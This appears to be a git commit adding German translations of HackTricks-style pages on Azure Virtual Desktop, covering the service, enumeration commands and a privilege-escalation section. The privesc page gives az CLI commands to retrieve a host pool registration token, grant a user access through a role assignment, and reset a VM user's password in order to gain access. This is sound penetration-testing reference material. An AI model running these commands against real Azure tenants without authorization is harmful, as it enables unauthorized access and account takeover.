Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-25 21:58:06 +00:00
parent 3addccb8c0
commit da6512baf0
3 changed files with 138 additions and 1 deletions

View File

@@ -0,0 +1,33 @@
# Az - Virtual Desktop Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Virtual Desktop Privesc
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
Sie können das Registrierungstoken abrufen, das verwendet wird, um virtuelle Maschinen innerhalb eines Hostpools zu registrieren.
```bash
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
```
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
Mit diesen Berechtigungen können Sie eine Benutzerzuweisung zur Anwendungsgruppe hinzufügen, die erforderlich ist, um auf die virtuelle Maschine des virtuellen Desktops zuzugreifen.
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
--body '{
"properties": {
"roleDefinitionId": "/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.Authorization/roleDefinitions/1d18fff3-a72a-46b5-b4a9-0b38a3cd7e63",
"principalId": "<USER_OBJECT_ID>"
}
}'
```
Zusätzlich können Sie den Benutzernamen und das Passwort der virtuellen Maschine ändern, um darauf zuzugreifen.
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,101 @@
# Az - Virtual Desktop
{{#include ../../../banners/hacktricks-training.md}}
## Azure Virtual Desktop
Virtual Desktop ist ein **Desktop- und Anwendungsvirtualisierungsdienst**. Er ermöglicht die Bereitstellung vollständiger Windows-Desktops, einschließlich Windows 11, Windows 10 oder Windows Server, an Benutzer aus der Ferne, entweder als einzelne Desktops oder über einzelne Anwendungen. Es unterstützt Einzelsitzungs-Setups für den persönlichen Gebrauch und Mehrsitzungsumgebungen. Benutzer können von praktisch jedem Gerät aus mit nativen Apps oder einem Webbrowser eine Verbindung herstellen.
### Host-Pools
Host-Pools in Azure Virtual Desktop sind Sammlungen von Azure-virtuellen Maschinen, die als Sitzungs-Hosts konfiguriert sind und Benutzern virtuelle Desktops und Anwendungen bereitstellen. Es gibt zwei Haupttypen:
- **Persönliche Host-Pools**, bei denen jede virtuelle Maschine einem einzelnen Benutzer gewidmet ist, mit ihren Umgebungen
- **Pooled Host-Pools**, bei denen mehrere Benutzer Ressourcen auf einem verfügbaren Sitzungs-Host teilen. Es hat ein konfigurierbares Sitzungs-Limit und eine Sitzungs-Host-Konfiguration ermöglicht es Azure Virtual Desktop, die Erstellung von Sitzungs-Hosts basierend auf einer Konfiguration zu automatisieren.
Jeder Host-Pool hat ein **Registrierungstoken**, das verwendet wird, um virtuelle Maschinen innerhalb eines Host-Pools zu registrieren.
### Anwendungsgruppen & Arbeitsbereich
Anwendungsgruppen **steuern den Benutzerzugriff** auf entweder einen vollständigen Desktop oder spezifische Sätze von Anwendungen, die auf Sitzungs-Hosts innerhalb eines Host-Pools verfügbar sind. Es gibt zwei Typen:
- **Desktop-Anwendungsgruppen**, die Benutzern Zugriff auf einen vollständigen Windows-Desktop gewähren (verfügbar sowohl mit persönlichen als auch mit pooled Host-Pools)
- **RemoteApp-Gruppen**, die es Benutzern ermöglichen, auf einzelne veröffentlichte Anwendungen zuzugreifen (verfügbar nur mit pooled Host-Pools).
Ein Host-Pool kann eine Desktop-Anwendungsgruppe, aber mehrere RemoteApp-Gruppen haben. Benutzer können mehreren Anwendungsgruppen in verschiedenen Host-Pools zugewiesen werden. Wenn ein Benutzer sowohl Desktop- als auch RemoteApp-Gruppen innerhalb desselben Host-Pools zugewiesen ist, sieht er nur Ressourcen aus der bevorzugten Gruppenart, die von den Administratoren festgelegt wurde.
Ein **Arbeitsbereich** ist eine **Sammlung von Anwendungsgruppen**, die es Benutzern ermöglicht, auf die ihnen zugewiesenen Desktops und Anwendungsgruppen zuzugreifen. Jede Anwendungsgruppe muss mit einem Arbeitsbereich verknüpft sein, und sie kann nur zu einem Arbeitsbereich gleichzeitig gehören.
### Hauptmerkmale
- **Flexible VM-Erstellung**: Erstellen Sie Azure-virtuelle Maschinen direkt oder fügen Sie später Azure Local-virtuelle Maschinen hinzu.
- **Sicherheitsmerkmale**: Aktivieren Sie Trusted Launch (sicherer Start, vTPM, Integritätsüberwachung) für erweiterte VM-Sicherheit (ein virtuelles Netzwerk ist erforderlich). Kann Azure Firewall integrieren und den Datenverkehr über Netzwerk-Sicherheitsgruppen steuern.
- **Domain Join**: Unterstützung für Active Directory-Domain-Join mit anpassbaren Konfigurationen.
- **Diagnose & Überwachung**: Aktivieren Sie Diagnos Einstellungen, um Protokolle und Metriken an Log Analytics, Speicherkonten oder Event Hubs zur Überwachung zu streamen.
- **Benutzerdefinierte Bildvorlagen**: Erstellen und verwalten Sie diese zur Verwendung beim Hinzufügen von Sitzungs-Hosts. Fügen Sie problemlos gängige Anpassungen oder Ihre eigenen benutzerdefinierten Skripte hinzu.
- **Arbeitsbereichsregistrierung**: Registrieren Sie problemlos Standard-Desktop-Anwendungsgruppen für neue oder vorhandene Arbeitsbereiche zur vereinfachten Benutzerzugriffsverwaltung.
### Enumeration
```bash
az extension add --name desktopvirtualization
# List HostPool of a Resource group
az desktopvirtualization hostpool list --resource-group <Resource_Group>
# List Application Groups
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
# List Application Groups By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
# List Applications in a Application Group
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
# List Assigned Users to the Application Group
az rest \
--method GET \
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
# List Workspace in a resource group
az desktopvirtualization workspace list --resource-group <Resource_Group>
# List Workspace in a subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
# List App Attach Package By Resource Group
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List App Attach Package By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List Desktops
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
# List MSIX Packages
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/msixPackages?api-version=2024-04-03"
# List private endpoint connections associated with hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
# List private endpoint connections associated By Workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
# List the private link resources available for a hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
# List the private link resources available for this workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
# List sessionHosts/virtual machines.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List start menu items in the given application group.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
# List userSessions.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
# List userSessions By Host Pool
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
```
### Verbindung
Um sich über das Web mit dem virtuellen Desktop zu verbinden, können Sie über https://client.wvd.microsoft.com/arm/webclient/ (am häufigsten) oder https://client.wvd.microsoft.com/webclient/index.html (klassisch) zugreifen. Es gibt andere Methoden, die hier beschrieben sind [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
## Privesc
{{#ref}}
../az-privilege-escalation/az-virtual-desktop-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}